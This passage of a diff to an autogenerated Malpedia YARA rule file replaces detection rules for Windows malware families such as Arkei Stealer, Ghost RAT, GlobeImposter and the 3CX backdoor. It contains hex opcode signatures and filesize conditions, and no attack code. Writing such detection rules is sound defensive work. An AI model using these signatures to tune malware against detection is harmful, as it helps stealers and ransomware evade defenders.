rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c250c949-1a89-5be3-9c88-097a9b8f6b70" + id = "834a92ba-9821-599a-958a-a52bb0a34e26" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rc2fm_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leash" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.leash_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "986b120a9f724a13ca09bdf0fceb457439c7912247f9f7f547406d208ddfc0d0" + logic_hash = "c93eec2e1f2f1d66b27a1254f16f6dd424c1be05af8702a857f092a6abe7b4de" score = 75 quality = 75 tags = "FILE" @@ -106275,32 +106672,32 @@ rule MALPEDIA_Win_Rc2Fm_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4885c0 7431 8b542420 488b4c2428 4533c0 e8???????? 448b442420 } - $sequence_1 = { 8bc1 d1e9 83e001 418b0481 33c1 3305???????? 33d2 } - $sequence_2 = { 48c1e004 4c89642430 4803c1 4889442438 } - $sequence_3 = { 33d2 ff15???????? 488b0d???????? ff15???????? e9???????? 40b70d e9???????? } - $sequence_4 = { 0f8736080000 4883791000 0f842b080000 48833900 750a 83790800 0f851b080000 } - $sequence_5 = { 41b804000000 488bc8 4889742470 4032ed 48c744242000000000 ff15???????? 85c0 } - $sequence_6 = { ff5010 eb62 448bc0 ba03000700 b900000100 e8???????? } - $sequence_7 = { ff90a8000000 85c0 792c 448bc0 ba07000a00 b903000100 e8???????? } - $sequence_8 = { 5e c3 ff15???????? ba06000600 b911000100 448bc0 e8???????? } - $sequence_9 = { 0f8781010000 83fd09 0f8778010000 448b642478 4183fc04 0f8769010000 488b4938 } + $sequence_0 = { e8???????? 83c408 85c0 744f 8b0e 53 83c10c } + $sequence_1 = { e8???????? 8bf8 8d8548feffff 6a0a 50 6a00 56 } + $sequence_2 = { 8b5d08 8d55cc 50 52 8d8bff000000 c645fc02 } + $sequence_3 = { 83c41c 83f8ff 0f8482010000 85c0 } + $sequence_4 = { 83c41c f2ae f7d1 2bf9 8bd1 8bf7 8bfd } + $sequence_5 = { 8b7c242c 6800040000 8d8328380000 57 50 e8???????? 668b44243c } + $sequence_6 = { aa b9ff000000 33c0 8dbc2411040000 f3ab } + $sequence_7 = { 8dbd5df9ffff 889d5cf9ffff f3ab 66ab aa b9ff000000 33c0 } + $sequence_8 = { 68???????? e8???????? a1???????? 83c40c 8d95e4f7ffff 8d8819100000 51 } + $sequence_9 = { e9???????? 8d8424fc290000 8d8c24fc050000 50 51 e8???????? } condition: - 7 of them and filesize < 410624 + 7 of them and filesize < 761856 } -rule MALPEDIA_Win_Alma_Communicator_Auto : FILE +rule MALPEDIA_Win_Adhubllka_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dd1f8f96-5178-5e9c-b517-f0f999a8d81a" + id = "ad2942ad-0768-5d25-b2fe-1ba7ec43f66b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alma_communicator_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adhubllka_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "4a8409fa38b9c8a27f076e76311702617520d12f6ac449f7858d852242e0bc37" + logic_hash = "e47f134b0db44fb4d451c84c4568ba6117ac83a59e51548a061c4d0fcde2d289" score = 75 quality = 75 tags = "FILE" @@ -106314,32 +106711,32 @@ rule MALPEDIA_Win_Alma_Communicator_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83e13f 6bc930 53 8b5d10 8b0485f08f4100 56 8b7508 } - $sequence_1 = { 88040a 41 84c0 75f6 ba???????? } - $sequence_2 = { 68f4010000 e8???????? 8364242800 8bf0 59 } - $sequence_3 = { 8b0485f08f4100 56 8b7508 57 } - $sequence_4 = { 8a4f01 47 84c9 75f8 8d8de0fdffff 668907 e8???????? } - $sequence_5 = { eb06 8b9d18ddffff 57 e8???????? } - $sequence_6 = { 52 52 ff15???????? 89849da0e9ffff 43 68e8030000 } - $sequence_7 = { 0f4ecb 8bd9 7fe6 8bfe 8d4f01 } - $sequence_8 = { 59 33c9 89442414 8bf1 } - $sequence_9 = { 59 59 8945f4 8d45f8 50 } + $sequence_0 = { 8b45c8 894590 8b45c4 894598 8b45c0 898560ffffff } + $sequence_1 = { 03459c 8bc8 c1c307 334d94 c1c110 03f1 8bd6 } + $sequence_2 = { 33c9 25000f0000 c705????????01000000 3d000f0000 8b45d4 } + $sequence_3 = { c78424a8000000787e4100 c78424ac000000807e4100 c78424b0000000887e4100 c78424b4000000907e4100 } + $sequence_4 = { 8b4b14 894734 83c240 8b45e8 83c640 83e840 } + $sequence_5 = { ffb52cfbffff 56 ffb518fbffff 51 8b8d30fbffff e8???????? } + $sequence_6 = { 56 57 ff15???????? 68???????? 57 ff15???????? 8d85a4fdffff } + $sequence_7 = { 8b3d???????? 8b442410 8b4c2414 8b542418 d1e8 41 83ea01 } + $sequence_8 = { 83ff40 725c 8b45ac 8b4d9c 0f1006 8b559c 0f105610 } + $sequence_9 = { 7707 8b4310 3bd0 730e 8d463f 3bc8 773b } condition: - 7 of them and filesize < 245760 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_W32Times_Auto : FILE +rule MALPEDIA_Win_Dma_Locker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8d0ca9de-72d5-5416-8ea3-4ffe99cecdda" + id = "0add9e5f-70eb-5058-aac8-c8618a1495ef" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.w32times_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dma_locker_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "f7e65aa826ad4cf269428f43fa98d18142b27ed083ec25ea57e656102267e97a" + logic_hash = "a7ffbc7fbe47962bc61977330ab1a66fd9d8632edda819d321196bb89e9e7e32" score = 75 quality = 75 tags = "FILE" @@ -106353,32 +106750,32 @@ rule MALPEDIA_Win_W32Times_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d44240c 6a00 50 53 57 56 c744242000000000 } - $sequence_1 = { 6a03 55 6a01 8d8c2410080000 6800000080 } - $sequence_2 = { 51 ffd6 8b4500 8d54242c } - $sequence_3 = { 8bcd 4f c1e902 f3a5 8bcd 8d9424ec010000 83e103 } - $sequence_4 = { 3b9c24000d0000 0f84cc090000 8a8424f0020000 84c0 0f84bd090000 8a8424e8000000 84c0 } - $sequence_5 = { 7534 8b2d???????? 46 56 68???????? } - $sequence_6 = { 8bd8 ffd7 56 ffd7 53 ff15???????? } - $sequence_7 = { ebd7 68???????? ff15???????? 8b1d???????? 68???????? ff15???????? 85db } - $sequence_8 = { b941000000 bf???????? f3ab b941000000 8dbc24f8050000 } - $sequence_9 = { 83c40c 85c0 0f85e00c0000 8b4b04 6a04 } + $sequence_0 = { e8???????? 8bf0 85f6 0f84ab000000 e8???????? } + $sequence_1 = { 83c404 83c310 ff4c2414 89470c 8b7c2410 758d } + $sequence_2 = { ff15???????? 85c0 7404 c6461801 } + $sequence_3 = { 50 6a00 56 6a19 68fe010000 6894020000 6854010000 } + $sequence_4 = { 6a01 6a00 6a00 6a00 688a020000 6a00 6a00 } + $sequence_5 = { e8???????? 8bf8 83c408 85ff 7425 8b45e4 } + $sequence_6 = { 53 e8???????? 84c0 744f 686c060000 e8???????? 83c404 } + $sequence_7 = { eb0e 8b4810 8b7808 bb2b000000 894df8 33f6 56 } + $sequence_8 = { 6683f87f 8d642408 0f85be730000 eb00 f30f7e442404 } + $sequence_9 = { 83c408 85f6 0f840e040000 56 32db e8???????? } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 532480 } -rule MALPEDIA_Win_Xiaoba_Auto : FILE +rule MALPEDIA_Win_Careto_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "15cc05c8-af5c-56f2-a0b2-68d5a40a2950" + id = "57e5d9f7-b1a4-5fc9-9a67-0b8686d462cc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiaoba" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xiaoba_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.careto" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.careto_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "95db22137ae310cb1c06897611cc39a7bd77badcb0dab70f72ac629d2a8f20ac" + logic_hash = "e5dc00dd8daf311387d91262fca293d89a75fa8c242ab0cc183af2043a20f18b" score = 75 quality = 75 tags = "FILE" @@ -106392,32 +106789,32 @@ rule MALPEDIA_Win_Xiaoba_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7407 a9???????? 7557 8b8644010000 33c9 668b8e48010000 85c9 } - $sequence_1 = { d9c0 dc642428 dd5c2440 dd442410 dc642420 dd442440 d9c1 } - $sequence_2 = { db45fc dd5dd4 dc65d4 dd5dcc db45f8 dd5dc4 } - $sequence_3 = { dc442410 dd5c2410 e9???????? db8740010000 dc6c2418 dd5c2418 e9???????? } - $sequence_4 = { dd442404 dc0d???????? c3 83c0fe 83f803 0f87cd000000 ff2485bcd24500 } - $sequence_5 = { 7414 3d00020000 741a 8d542464 52 ff15???????? ebb2 } - $sequence_6 = { ff45f8 f682c1ed660004 894d08 7457 803900 7504 33ff } - $sequence_7 = { 53 e8???????? 83c404 8b45ec e9???????? 8be5 5d } - $sequence_8 = { 64890d00000000 83c478 c20c00 8b8c2490000000 8b4658 5f 5e } - $sequence_9 = { ffd3 c786c400000000000000 57 ff15???????? 8b4c2440 5f 5e } + $sequence_0 = { 895104 47 ff15???????? eb58 8d45ec 50 8d45f4 } + $sequence_1 = { eb1e ff7508 8d8568fbffff 50 } + $sequence_2 = { 85c0 0f850e020000 57 6a40 59 889ddcfdffff 8dbdddfdffff } + $sequence_3 = { 8b4b04 56 8b7308 8bc1 03f2 3bf0 8945fc } + $sequence_4 = { ff55e0 3bc6 8945e4 740b 3dea000000 0f85fd000000 8b7df4 } + $sequence_5 = { 7584 85ff 7407 57 ff15???????? 33c0 40 } + $sequence_6 = { 8b3d???????? be???????? 7579 ffd7 } + $sequence_7 = { a0???????? c3 e8???????? 84c0 740c 833d????????05 } + $sequence_8 = { 81ecb8080000 53 8b5d08 68???????? 53 c745e8d4070000 e8???????? } + $sequence_9 = { 7416 48 740c 83e804 754a 68???????? } condition: - 7 of them and filesize < 5177344 + 7 of them and filesize < 94208 } -rule MALPEDIA_Win_Arkei_Stealer_Auto : FILE +rule MALPEDIA_Win_Photofork_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1f91473e-0f59-5d43-b31c-36e662e7cb73" + id = "03f3231c-1475-52ed-bb16-632751ac4d12" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arkei_stealer_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photofork_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "ce62b8dc4f39a6203176e1a77c002f4403d000ee3dbdbb3ae02c853f65ed371e" + logic_hash = "709bae5e70c248514471207a86aa73bde84d2e17312283aa497e33ccd6cf6fc3" score = 75 quality = 75 tags = "FILE" @@ -106431,32 +106828,32 @@ rule MALPEDIA_Win_Arkei_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f849ffeffff ba424d0000 668955ec 8b4620 8b0e 8d1481 } - $sequence_1 = { 57 57 68000000c0 68???????? ff15???????? 8bf8 } - $sequence_2 = { 52 57 8945f6 ff15???????? 85c0 0f8458feffff 8b4e20 } - $sequence_3 = { 6689460c 668b4dd6 66894e0e 6683fb18 } - $sequence_4 = { ff15???????? 85c0 74be 8b45e0 } - $sequence_5 = { 8d55ec 52 57 8945f6 } - $sequence_6 = { 895608 668b45d4 6689460c 668b4dd6 66894e0e } - $sequence_7 = { 8b16 8d448a0e 6a00 8d4de4 51 6a0e } - $sequence_8 = { 74be 8b45e0 8d55c4 52 6a18 50 } - $sequence_9 = { 57 8945e8 ffd3 6a0a 57 8bf0 } + $sequence_0 = { 4d85d2 7515 8d56fc 33c9 41b8fe6a7a69 e8???????? } + $sequence_1 = { 4156 4883ec60 49894ba8 4533e4 } + $sequence_2 = { 488b0d???????? 488981e0100000 eb12 ba01000000 } + $sequence_3 = { 4c894858 33d2 41b800800000 488bcf 41ffd1 33c0 4881c4a0000000 } + $sequence_4 = { 4c8d45c4 eb72 488b05???????? 4885c0 742c 488b8080010000 } + $sequence_5 = { 0f85b9010000 ff15???????? 83f87a 0f85aa010000 8b8424d0000000 } + $sequence_6 = { 5e 5d c3 498bdf 6690 80bbc001000030 } + $sequence_7 = { 4c8bc6 488d950c020000 e8???????? 488d5590 } + $sequence_8 = { 488bd0 488b05???????? 48899040060000 488d4dc0 ffd2 66837dc009 b840000000 } + $sequence_9 = { 72ea 4533c9 4c8d459c 488d54242c } condition: - 7 of them and filesize < 1744896 + 7 of them and filesize < 99328 } -rule MALPEDIA_Win_Strifewater_Rat_Auto : FILE +rule MALPEDIA_Win_Gameover_Dga_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "62a3ce73-baac-56a1-82cb-c062e0eed183" + id = "03fc91af-7fd0-5c49-806f-66baee40bb34" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strifewater_rat_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gameover_dga_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "04a48ee28febde8895539bb526c6ef5f904eb84967ebbad205245d5d96a955aa" + logic_hash = "0d50d6a34d24e697f3e47548c11296361a501bf8307c9f90af33f306f5bb9e63" score = 75 quality = 75 tags = "FILE" @@ -106470,34 +106867,34 @@ rule MALPEDIA_Win_Strifewater_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b7c2478 4883c450 415e c3 488d151f910400 488d4c2420 e8???????? } - $sequence_1 = { 48895320 488d3d472d0800 be05000000 498bd5 8bce } - $sequence_2 = { 488b07 48634804 4803cf 85f6 741a 8b5110 0bd6 } - $sequence_3 = { 90 498b06 488b5858 488bcb e8???????? 4c8d4def 4c8d056e710500 } - $sequence_4 = { 48c7442420feffffff 48895c2440 488bf9 488d056ae70800 488901 4883c140 4533c0 } - $sequence_5 = { e9???????? 488b9540070000 4c8d0526ae0100 498bce e8???????? 85c0 } - $sequence_6 = { 488d0595ec0500 488906 eb02 33f6 4c8b05???????? 4d85c0 753c } - $sequence_7 = { 48634804 83640c48fb 4533ff eb0d 408ad7 488d4c2430 e8???????? } - $sequence_8 = { 48898424f0000000 488b4e08 4885c9 7509 488d1598330900 eb0d 488b5128 } - $sequence_9 = { 8bc3 874710 85c0 7421 8365d800 488d059ca1feff 488945e0 } + $sequence_0 = { 884617 33c0 40 e9???????? 8a4601 33db 8b6c2434 } + $sequence_1 = { 8b13 8bcb 6a01 57 56 ff742420 ff742420 } + $sequence_2 = { 8bf8 83cdff 3bfd 7504 8bc5 eb42 } + $sequence_3 = { 55 8bac2434010000 56 57 8bf9 8b4508 85c0 } + $sequence_4 = { 39442414 0f85eb060000 8b84245c010000 41 894c2420 40 50 } + $sequence_5 = { 85db 7417 6af6 6a01 ff742434 ffd3 85c0 } + $sequence_6 = { ff7064 ffd6 85c0 0f8513010000 a1???????? 68???????? ff7064 } + $sequence_7 = { 8b4c2424 b301 8901 5d 8bce e8???????? } + $sequence_8 = { 8bc2 83c204 3b54241c 7725 8a5c2428 8818 8a5c2413 } + $sequence_9 = { 0f851f010000 8b442414 8d542428 52 53 ff742450 8b08 } condition: - 7 of them and filesize < 1552384 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Scout_Auto : FILE +rule MALPEDIA_Win_Strelastealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e14921fe-74c7-5cda-92ba-67e7cc0f28ef" + id = "8e21e6c9-b196-5772-9b5f-024320f3473e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scout" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scout_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strelastealer_auto.yar#L1-L230" license_url = "N/A" - logic_hash = "3e6544ff6fee99e30b42c384814b4a00494424215e1f894b7afbd76f2c9391e8" + logic_hash = "fdd1b910b27b0b34d135da8196d66e4e45cba2823b849a416c07e1720765f896" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -106509,32 +106906,46 @@ rule MALPEDIA_Win_Scout_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 817c243031313131 7445 690d????????60ea0000 ff15???????? 8b0d???????? b867666666 ffc1 } - $sequence_1 = { 8d58b0 498bce 448bc3 488d154cac0000 e8???????? 85c0 } - $sequence_2 = { 7706 ff15???????? 488364243000 488d0d849f0000 8364242800 41b803000000 4533c9 } - $sequence_3 = { 83c8ff eb0b 4803f6 418b84f728950100 } - $sequence_4 = { 0f84aa000000 83f81a 0f85eb020000 33ff 488d4c2430 48897c2430 } - $sequence_5 = { 488b8d80140000 ff15???????? 488d537c 41b888140000 } - $sequence_6 = { 4885c9 750b 488d0d29f10000 48894b48 4963d0 e8???????? } - $sequence_7 = { 488d0d36fbfeff 83e03f 458be9 4d03e8 4c8945df 4c8be6 } - $sequence_8 = { 488d0dd4f90000 4183e23f 4d03f0 4d8bf8 } - $sequence_9 = { 0f84aa000000 83f81a 0f85eb020000 33ff 488d4c2430 48897c2430 e8???????? } + $sequence_0 = { 488d0575910000 41b91b000000 4889442420 e8???????? 4883c438 } + $sequence_1 = { ff15???????? 85c0 0f854effffff 488bcb ff15???????? 4881c4d8050000 } + $sequence_2 = { 50 e8???????? 8b44242c 83c40c 53 53 } + $sequence_3 = { 08c1 20ca 80f101 89c8 } + $sequence_4 = { a1???????? 668b08 56 8d5306 55 } + $sequence_5 = { 488bc2 488d0d05c50000 0f57c0 48890b } + $sequence_6 = { 015304 eb55 4d85c0 7e27 488bd7 4c8b4dc7 4b8b8ccbc0120600 } + $sequence_7 = { 53 53 6804010000 8d94247c030000 52 } + $sequence_8 = { 488d05bd430100 488945e0 895128 488d0d87a30000 } + $sequence_9 = { 56 53 57 ff15???????? 8bf0 8b442418 8930 } + $sequence_10 = { 08c1 08da 80f201 89c8 } + $sequence_11 = { 08c1 0f1f440000 b810000000 e8???????? } + $sequence_12 = { b913000000 4c8d05d3800000 e8???????? 4885c0 7417 49ba7032d8542306ddea } + $sequence_13 = { 488d05afff0000 483bd8 74d1 488bcb } + $sequence_14 = { 8945e4 3d00010000 7d10 8a8c181d010000 888810b80010 40 } + $sequence_15 = { 03c7 751f 488b85a0010000 488b8888000000 488d0505540100 } + $sequence_16 = { 50 6819000200 53 8d8c246c010000 51 6801000080 } + $sequence_17 = { 488d4c2430 ff15???????? 488d3d2a5e0100 488bcf ff15???????? } + $sequence_18 = { 0fb6c0 eb12 8b45e0 8a8014b90010 08443b1d 0fb64601 47 } + $sequence_19 = { 01c7 897d14 8d1401 81c200040000 } + $sequence_20 = { 01c1 b8dc8856d3 29c8 b9dd8856d3 } + $sequence_21 = { 33c9 4c8d054be10000 488d154ce10000 e8???????? 4885c0 740f 488bcb } + $sequence_22 = { 305106 33d2 f7f6 0fb68220a30010 304107 } + $sequence_23 = { 08c1 08d3 89ca 80e201 } condition: - 7 of them and filesize < 315392 + 7 of them and filesize < 872448 } -rule MALPEDIA_Win_3Cx_Backdoor_Auto : FILE +rule MALPEDIA_Win_Globeimposter_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c8c4fb8e-665a-53b6-8b3e-37d64668f35c" + id = "82e87f91-7017-50a0-9ca4-45151fd590f0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.3cx_backdoor_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.globeimposter_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "1c7c6f3ffb80a119e6e9a09aa255f11daa8a6a0cadae64c0d2cee6a1f6aea1e9" + logic_hash = "6357ace0b94e1815a02ef2680ddeaabe7f1f4794f51d0c9008b25b79555a5d01" score = 75 quality = 75 tags = "FILE" @@ -106548,32 +106959,32 @@ rule MALPEDIA_Win_3Cx_Backdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8d442420 488d4d98 e8???????? 488bf8 488d542478 498bce e8???????? } - $sequence_1 = { 488b4d8f 4c8d05b77c0300 41b920000000 c744242000000000 488d15c27c0300 ff15???????? } - $sequence_2 = { 41b8ffffffff 488bd6 ff15???????? ba25000000 8d4a1b } - $sequence_3 = { 0f87ff010000 c1e60a 81c60024a0fc 03f0 eb11 8d860024ffff } - $sequence_4 = { 488bd7 498bcd e8???????? 498bc4 4c8d5c2450 498b5b40 } - $sequence_5 = { 488d0547ac0100 4a8b04f8 42f644e83801 7515 e8???????? c70009000000 e8???????? } - $sequence_6 = { 7424 488b4308 44386019 7515 6690 483b5810 750d } - $sequence_7 = { 488bc8 e8???????? 4889751f 4889752f 48897537 } - $sequence_8 = { e8???????? 85c0 0f85cd100000 e9???????? 4c8d050bae0000 ebdb 4c8d05faad0000 } - $sequence_9 = { 83b96804000002 0f8406020000 bd20000000 4c8d35e1510100 488b4310 } + $sequence_0 = { 837c243020 57 8bfd 7608 6ac4 58 } + $sequence_1 = { 57 83fd08 0f8205010000 8bc5 } + $sequence_2 = { 85ff 7452 8bef 8bf0 8b06 8d7604 } + $sequence_3 = { 8b4508 8b4e08 89442418 85ff 7452 } + $sequence_4 = { e8???????? 85f6 7408 8d8600bdffff } + $sequence_5 = { 3dfa000000 7205 6a0c 5f eb0d } + $sequence_6 = { 6af4 58 e9???????? 7904 } + $sequence_7 = { ff15???????? ff349f 8bf0 ff15???????? 3bf0 } + $sequence_8 = { 7505 6ac4 58 eb2f } + $sequence_9 = { 7508 6af4 58 e9???????? 7904 6af6 } condition: - 7 of them and filesize < 585728 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Sword_Auto : FILE +rule MALPEDIA_Win_Beast_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8539535f-357d-5d16-925a-82cf11392564" + id = "8074f5ee-0705-556f-a60f-20fb83a7b6d6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sword" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sword_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beast" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beast_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "f965a414f19aed1fee3b06d38e5b293cff63935b0d3b803549aab6fbb9244e65" + logic_hash = "2393b8a862cb3a2be574fd4cc7aaf3b89fb385083cd12b93e8f9ad9b9f239f88" score = 75 quality = 75 tags = "FILE" @@ -106587,95 +106998,71 @@ rule MALPEDIA_Win_Sword_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 897c242c 8b3d???????? 6800010000 c74424143c000000 c744242064924000 89542424 } - $sequence_1 = { f2ae f7d1 49 8d842488020000 51 50 56 } - $sequence_2 = { 8bfd 83c9ff 33c0 f2ae 8b542424 33db f7d1 } - $sequence_3 = { e8???????? 83c404 50 ff15???????? 668944240a 8d842428040000 50 } - $sequence_4 = { 7c85 5f 5e 5d b801000000 5b 83c40c } - $sequence_5 = { 8d8c2498060000 51 52 e8???????? 83c40c 8d842474020000 } - $sequence_6 = { 8d942488030000 f2ae f7d1 2bf9 53 8bf7 8bfa } - $sequence_7 = { 52 e8???????? 8818 8d842490020000 } - $sequence_8 = { 6a00 6a00 6a00 7509 8d542414 } - $sequence_9 = { 8d3c8d00a14000 c1e603 8b0f f644310401 7456 50 e8???????? } + $sequence_0 = { 56 57 33ff 6a03 47 59 } + $sequence_1 = { 330c8550b44f00 334d1c 83c520 894c242c 83ef01 0f85f0fdffff 8b442410 } + $sequence_2 = { c6857fffffff41 c6458033 c6458141 c6458224 c6458341 c6458420 c6458541 } + $sequence_3 = { eb08 8b4dc4 e8???????? 8bc6 5e c9 c3 } + $sequence_4 = { c6855cfcffff4d 889d5dfcffff c6855efcffff4c 889d5ffcffff c68560fcffff5b 889d61fcffff 889d62fcffff } + $sequence_5 = { 33b1393e5000 8b4c2448 0fb6c9 c1e104 33b9303e5000 33b1343e5000 8b4c2428 } + $sequence_6 = { 6a3f 5a 6a06 898c244a010000 8db424b8000000 898c2452010000 8dbc2460010000 } + $sequence_7 = { 8d143e 03c2 8945f0 8b45cc c1e017 0bc8 8b45cc } + $sequence_8 = { 8b45c8 03c3 33d0 c1c210 8d0c16 8b75f4 33d9 } + $sequence_9 = { c6459025 8bd3 c6459156 c6459223 c6459356 c6459435 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 2411520 } -rule MALPEDIA_Win_Ghost_Rat_Auto : FILE +rule MALPEDIA_Win_Rorschach_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a5c1e7c4-1b2d-598f-9f4c-addb333c7981" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghost_rat_auto.yar#L1-L313" + id = "11b24b2d-bfea-5a8c-988f-bea7ea32170c" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rorschach_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "1382f8506f533271928000e01179914edf911c946385102a130b99bae8ad91d3" + logic_hash = "3819d2826273a95ad95ce552fb76b197f4eb30ddd0b4d089208f0442591f4b17" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bd9 e8???????? 8b4d08 3bc8 } - $sequence_1 = { 8b400c 85c0 7505 a1???????? 50 8bce e8???????? } - $sequence_2 = { 6a01 56 ff15???????? 5e c20800 } - $sequence_3 = { 33c0 5b 8be5 5d c20400 894df4 } - $sequence_4 = { c745f800000000 df6df4 83ec08 dc0d???????? } - $sequence_5 = { c20400 894df4 c745f800000000 df6df4 } - $sequence_6 = { 